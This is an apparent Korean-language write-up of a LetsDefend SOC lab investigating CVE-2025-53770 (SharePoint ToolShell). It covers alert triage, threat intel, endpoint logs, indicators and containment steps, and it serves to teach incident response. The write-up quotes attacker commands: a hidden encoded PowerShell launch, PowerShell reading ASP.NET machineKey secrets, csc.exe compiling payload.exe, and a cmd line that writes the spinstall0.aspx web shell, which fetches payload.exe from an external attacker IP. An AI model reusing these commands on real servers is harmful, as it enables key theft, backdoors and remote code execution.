공격 체인, 포렌식 분석 및 차단 조치를 포함하여 CVE-2025-53770 SharePoint ToolShell 인증 우회 및 RCE를 분석하는 LetsDefend SOC342 랩의 단계별 연습.
저는 LetsDefend 사이버 랩에서 ToolShell (CVE-2025-53770) 이라는 SharePoint 제로데이를 조사했습니다.
이 실습은 악성 POST 요청이 인증을 우회하고, PowerShell을 실행해 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 뒤 악성 웹 셸(spinstall0.aspx)을 설치하는 실제 제로데이 RCE 공격을 모의했습니다.
이 README는 공격 과정, 포렌식 절차, 격리 조치 및 교훈을 문서화합니다.
| 필드 | 세부 정보 |
|---|
| 플랫폼 | LetsDefend Cyber Range |
| 대상 | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| 목표 | RCE 분석, 탐지 및 격리 실습 |
| 사용 도구 | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Base64 Decoder, LetsDefend Threat Intel |
대규모 페이로드와 스푸핑된 Referer를 포함한 SharePoint의 ToolPane.aspx를 대상으로 하는 의심스러운 활동이 치명적인 알림으로 플래그되었습니다.
이는 조작된 POST 요청을 통해 인증되지 않은 RCE를 허용하는 제로데이 취약점인 CVE-2025-53770과 관련이 있습니다.

정의: 이 알림에 할당된 심각도 수준 — 가장 높고 가장 긴급함.
중요한 이유: 이 이벤트가 **전체 시스템 침해(RCE)**로 이어질 수 있음을 나타냄. 최우선 순위로 취급: 즉시 격리하고 조사할 것.
정의: 알림이 트리거된 타임스탬프.
중요한 이유: 로그를 찾고, 관련 이벤트를 연관시키고, 타임라인을 구성하는 데 사용(± 몇 분 또는 몇 시간 검색).
정의: 일치된 조건(ToolShell 익스플로잇 시도)을 설명하는, 트리거된 탐지 규칙 또는 시그니처.
중요한 이유: 감지된 공격 패턴을 식별 — 유사 사례(예: 관리자 페이지에 대한 인증되지 않은 POST 또는 잠재적 웹 셸 업로드)를 헌팅하는 데 유용.
정의: 이 특정 알림 인스턴스 또는 규칙의 숫자 식별자(벤더 정의).
중요한 이유: 티켓이나 보고서에서 이 알림을 추적, 필터링, 참조하는 데 도움.
정의: 상위 수준 분류 — 이 알림은 웹 인프라를 대상으로 함.
중요한 이유: 인시던트를 웹/SharePoint/인프라 팀으로 라우팅하고 웹 특화 플레이북을 적용.
정의: 알림을 처리할 것으로 예상되는 분석가 역할 또는 에스컬레이션 수준.
중요한 이유: 이 알림은 Tier-1이 아님을 나타냄 — 즉각적인 조치를 위해 보안 분석가(경험 있는 대응자)가 필요함.
정의: 영향을 받은 호스트의 이름(활동의 대상 또는 출처).
중요한 이유: 1차 격리 대상 — 이 시스템을 먼저 격리하고, 증거를 수집하고, 모니터링할 것.
정의: 의심스러운 요청을 보낸 IP(공격자 또는 프록시).
중요한 이유: 방화벽/WAF에서 차단하고, 해당 IP의 다른 히트를 검색하며, 소유권/지리 정보를 확인. 참고: IP는 스푸핑되거나 봇넷의 일부일 수 있음.
정의: 내부 대상 IP(SharePoint01).
중요한 이유: 어떤 내부 시스템이 대상이 되었는지 확인 — 호스트명에 매핑하고 내부 접근 경로/방화벽 규칙을 검토.
정의: 사용된 HTTP 동사 — 클라이언트가 서버로 데이터를 전송함.
중요한 이유: 관리자 엔드포인트에 대한 POST는 인증되지 않았거나 대규모일 때 의심스러움 — 익스플로잇 페이로드 또는 웹 셸을 실을 수 있음.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
정의: 정확히 대상이 된 웹 경로 및 매개변수.
중요한 이유: SharePoint 관리자/레이아웃 엔드포인트 — 공격자가 인증 우회 또는 코드 업로드에 흔히 악용. 동일한 경로에 대한 다른 요청을 헌팅할 것.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
정의: 클라이언트가 보고한 브라우저 문자열.
중요한 이유: 공격자가 합법적으로 보이도록 스푸핑하는 경우가 많음 — 로그 필터링에 도움이 될 수 있지만, 귀속 판단에 의존하지 말 것.
/_layouts/SignOut.aspx
정의: 요청이 SharePoint의 로그아웃 페이지에서 왔다고 주장하는 HTTP 헤더.
중요한 이유: 스푸핑된 referer는 의심스러움 — 검사를 우회하거나 정상 트래픽을 모방하는 데 사용될 수 있음. 합법적인 탐색 흐름과 비교할 것.
7699정의: HTTP 요청 본문의 크기(바이트).
중요한 이유: 관리자 엔드포인트에 대한 대규모 POST 본문은 직렬화된 익스플로잇 또는 파일 업로드를 시사. 동일한 URL에 대한 유사한 크기의 다른 POST를 찾을 것.
텍스트: 대규모 페이로드 크기와 스푸핑된 referer를 포함한 ToolPane.aspx를 대상으로 하는 의심스러운 인증되지 않은 POST 요청 — CVE-2025-53770 익스플로잇을 시사.
정의: 일치된 동작을 요약하는 규칙 설명.
중요한 이유: 알림이 발생한 정확한 이유를 설명 — 요청이 인증되지 않았는지, 어떤 페이로드가 전송되었는지, 알려진 익스플로잇 패턴과 일치하는지 확인.
정의: 보호 장치의 응답(예: WAF/방화벽)을 나타냄.
중요한 이유: 허용되었으므로 공격이 호스트에 도달함 — 잠재적 침해로 취급.
즉시 조치:
107.191.58.76)SharePoint01) 조사🔎 요약:
이 알림은 ToolPane.aspx(SharePoint RCE CVE-2025-53770)를 악용하는 인증되지 않은 익스플로잇 시도를 반영합니다. POST 요청에는 대규모 페이로드와 스푸핑된 referer가 포함되어 있어 ToolShell 제로데이 악용 동작과 일치합니다. 장치가 요청을 허용했으므로 반증이 있을 때까지 침해 가능성을 가정하세요. 🟥 심각도: 치명적(Critical)
IIS/WAF에서 ToolPane.aspx에 대한 POST 검색(2025-07-22 13:07 경):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
WAF/프록시 또는 패킷 캡처에서 전체 POST 본문을 추출하여 포렌식 공유 폴더에 저장.
웹 루트에서 새로 생성되거나 수정된 ASPX를 검색(웹 셸):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
공격자 차단 및 호스트 격리: 경계/WAF에서 107.191.58.76을 차단하고 SharePoint01을 격리(또는 외부 통신 제한)로 이동.
의심 파일을 삭제하지 말 것 — 먼저 포렌식 사본을 만들 것.
Microsoft SharePoint는 협업 및 문서 관리 플랫폼입니다.
보안 파일 저장소, 버전 관리, 인트라넷 포털을 제공하며 Active Directory, Teams, Outlook, Power BI와 통합됩니다.
Microsoft SharePoint Server의 안전하지 않은 역직렬화를 악용하는 치명적인 인증되지 않은 RCE 취약점.
공격자는 이를 사용하여:
🧮 CVSS 점수: 9.8 (치명적)
📡 악용: 실제 환경에서 활발히 악용 중
소스 IP: 107.191.58.76
🧩 결과: 보안 벤더 95개 중 15개가 악성으로 플래그했습니다.

AbuseIPDB를 통해 확인 — IP와 연관된 활동:

Talos Intelligence를 통해 확인 — IP/서브넷 특성:
*.vultrusercontent.com
Endpoint Security에서 호스트 SharePoint01을 찾았습니다.
의심스러운 명령이 있는지 터미널 히스토리를 검토했습니다.

이 로그는 13:07:11에 SharePoint 애플리케이션 풀에서 PowerShell 프로세스가 실행되어 Base64로 인코딩된 명령을 실행했음을 보여줍니다. 부모 프로세스는 services.exe였으며 공격은 SharePoint 디렉터리를 대상으로 했습니다. 이는 SharePoint 서버 내에서 ToolShell 악용 및 원격 코드 실행이 발생했다는 명확한 지표입니다.
-nop = -NoProfile: 사용자 프로필을 로드하지 않고 PowerShell 시작(프로필 기반 탐지를 피하고 더 빠르게 실행).-w hidden = -WindowStyle Hidden: 창을 표시하지 않고 실행(은밀성).-e = -EncodedCommand: 뒤에 오는 문자열은 Base64로 인코딩된 PowerShell 콘텐츠(일반적으로 UTF-16LE 또는 때때로 UTF-8) — 코드를 일반적인 검사와 단순 로그에서 숨기는 데 사용.<BASE64>: 긴 Base64 페이로드 — 디코딩하면 MachineKey 값을 읽는 ASPX 서버 스크립트(웹 셸처럼 보임)가 포함됨.

⚙️ 동작 요약
이는 ViewState/인증 토큰 위조를 위한 MachineKey 탈취를 나타냅니다 — 전형적인 ToolShell 악용입니다.

🧩 조사 결과: 공격자가 기본 제공 .NET 컴파일러를 사용하여 payload.cs를 payload.exe로 컴파일 → 악성코드로 추정.
이 명령이 실제로 수행하는 작업(단계별):
csc.exe 프로그램 실행 → .NET Framework에 포함된 C# 컴파일러./out:C:\Windows\Temp\payload.exe → 컴파일러에게 컴파일된 프로그램을 저장할 위치와 이름(payload.exe)을 지정.C:\Windows\Temp\payload.cs → 컴파일러가 실행 가능한 프로그램으로 변환하는 C# 소스 파일(사람이 읽을 수 있는 코드).이것이 위험한 이유(초보자 설명):
.cs)를 실행 파일(.exe)로 변환.payload.exe)은 공격자가 프로그래밍한 모든 작업(네트워크 연결 열기, 셸 생성, 지속성 설치, 데이터 탈취)을 수행할 수 있음.공격자가 공격 체인에서 이를 사용했을 가능성이 높은 방식:
payload.cs를 생성하거나 업로드.payload.exe로 컴파일.찾아야 할 증거(로그/파일에서 검색할 항목):
payload.cs 또는 /out:C:\Windows\Temp\payload.exe를 가리키는 인수가 포함된 csc.exe 프로세스 생성 이벤트.C:\Windows\Temp\payload.cs 및 C:\Windows\Temp\payload.exe의 존재(포렌식 사본을 수집하고 해시 계산).w3wp.exe / powershell.exe / cmd.exe가 csc.exe를 생성하는 부모/자식 프로세스 관계.payload.exe에서 시작된 네트워크 활동 또는 프로세스 활동.한 줄 요약(README/티켓용):
공격자는 .NET C# 컴파일러(csc.exe)를 사용하여 호스트에서 payload.cs를 payload.exe로 컴파일 — 후속 악성 활동을 위한 네이티브 실행 파일을 생성했습니다.

🧩 조사 결과: SharePoint의 LAYOUTS 디렉터리 내에 spinstall0.aspx 생성 → 웹 접근 가능한 백도어.
이 명령이 실제로 수행하는 작업(단계별, 쉬운 설명):
cmd.exe /c 실행 → 단일 명령을 실행한 후 종료하도록 Windows 명령 셸을 시작.echo <...> > "...\spinstall0.aspx" → 제공된 HTML/ASPX 텍스트를 출력하고 이를 spinstall0.aspx 파일에 작성(> 연산자는 파일을 생성하거나 덮어씀).runat="server" 포함 → 파일을 서버 측 ASPX로 만들어 IIS/SharePoint가 정적 텍스트로 제공하는 대신 웹 애플리케이션 프로세스 내에서 실행.<object> 요소에 Url="http://107.191.58.76/payload.exe" 포함 → 페이지(또는 실행 시 서버)가 원격 호스트에서 공격자의 payload.exe를 가져오도록 지시.이것이 위험한 이유(초보자 설명):
공격자가 공격 체인에서 이를 사용했을 가능성이 높은 방식:
LAYOUTS 폴더에 spinstall0.aspx를 작성.payload.exe를 가져오게 함.찾아야 할 증거(로그/파일에서 검색할 항목):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — 포렌식 사본을 수집하고 SHA256 계산.cmd.exe가 해당 경로에 쓰는 파일 생성/쓰기 이벤트(Sysmon EventID 11 또는 Windows Audit 4663).spinstall0.aspx에 대한 요청 또는 http://107.191.58.76/payload.exe에 대한 외부 요청을 보여주는 IIS 로그.spinstall0.aspx 접근 직후의 프로세스 생성 또는 네트워크 활동(페이로드 다운로드/실행을 나타냄).한 줄 요약(README/티켓용):
공격자는 SharePoint의 LAYOUTS 폴더에 서버가 공격자 인프라에서 payload.exe를 가져오거나 실행하도록 지시하는 서버 측 ASPX 웹 셸(spinstall0.aspx)을 생성 — 지속적인 원격 백도어.

🧩 조사 결과: MachineKey 구성을 읽고 탈취하기 위해 PowerShell 실행 — 직접적인 RCE 선행 조건.
이 명령이 실제로 수행하는 작업(단계별):
powershell.exe 실행 → Windows 스크립팅 셸.-Command는 PowerShell에 다음 표현식을 실행하도록 지시.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()는 .NET을 호출하여 ASP.NET machineKey 구성 개체를 검색(ValidationKey, DecryptionKey 및 관련 설정 포함).이것이 위험한 이유(초보자 설명):
machineKey는 ASP.NET이 다음 용도로 사용하는 비밀 값을 보유:
ViewState 및 양식 인증 쿠키 서명 및 검증.ValidationKey/DecryptionKey를 획득하면 다음을 수행할 수 있음:
ViewState 또는 인증 쿠키 위조, 또는 토큰 복호화.공격자가 공격 체인에서 이를 사용했을 가능성이 높은 방식:
ToolPane.aspx를 익스플로잇하여 SharePoint 앱 프로세스 내에서 코드 실행.ValidationKey / DecryptionKey 캡처.ViewState) 또는 유효한 인증 쿠키를 제작하여 접근 권한을 상승.찾아야 할 증거(로그/파일에서 검색할 항목):
GetApplicationConfig 또는 MachineKeySection이 포함된 powershell.exe 프로세스 생성 이벤트.ValidationKey / DecryptionKey)이 포함된 웹 응답, 로그 또는 저장된 파일.MachineKeySection / GetApplicationConfig를 호출하는 ASPX 페이지 또는 웹 셸.IIS APPPOOL\SharePoint)의 비정상적인 활동.한 줄 요약(README/티켓용):
공격자는 System.Web.Configuration.MachineKeySection::GetApplicationConfig()를 호출하기 위해 PowerShell을 실행 — ASP.NET machineKey(ValidationKey/DecryptionKey)를 탈취하여 토큰 위조 및 인증 우회를 가능하게 시도.
출처: LetsDefend Threat Intel (IP 107.191.58.76로 질의)
Referer: /_layouts/SignOut.aspx가 관찰됨.
| 유형 | 지표 | 설명 |
|---|---|---|
| IP | 107.191.58.76 | 공격자 소스 IP, 악용 POST 전송 |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | 악용 엔드포인트 |
| 파일 | spinstall0.aspx | 배포된 악성 ASPX 웹 셸 |
| 문자열 | MachineKeySection | machineKey 유출 시도 증거 |
Victor온프레미스 SharePoint(SharePoint01)를 대상으로 한 ToolShell 제로데이 악용(CVE‑2025‑53770)이 탐지되었습니다. 공격자(IP 107.191.58.76)는 인증을 우회하고 여러 사후 악용 행위를 수행했습니다:
spinstall0.aspx(웹 셸) 업로드.payload.exe 컴파일.

결론: 침해 확인 — 웹 셸 배포, 키 유출, 호스트 내 페이로드 컴파일이 발생함.
SharePoint01 격리( quarantine VLAN) 또는 경계/WAF/방화벽에서 공격자 IP 차단.spinstall*.aspx, payload.exe(파일명/해시 기준), GetApplicationConfig/MachineKeySection 사용 여부 검색.spinstall0.aspx, 무단 예약 작업/서비스, 탐지된 악성코드 제거.machineKey 값 교체(애플리케이션 담당자와 협의) 및 모든 온프레미스 SharePoint 인스턴스에 Microsoft 2025년 7월 긴급 패치 적용.-EncodedCommand / -e) 탐지 규칙 추가.C:\Windows\Temp 내 코드를 컴파일하는 csc.exe 사용에 대한 알림 설정.POST 차단.csc.exe, cmd.exe, powershell.exe)는 악용 후 자주 남용됩니다. 웹 서버에서 예기치 않은 사용을 모니터링하십시오.SharePoint01 격리 및 107.191.58.76 차단.spinstall0.aspx, payload.cs, payload.exe의 법정 분석 사본 확보(타임스탬프 보존).w3wp.exe / payload.exe 메모리 덤프.machineKey 및 관련 자격 증명 교체.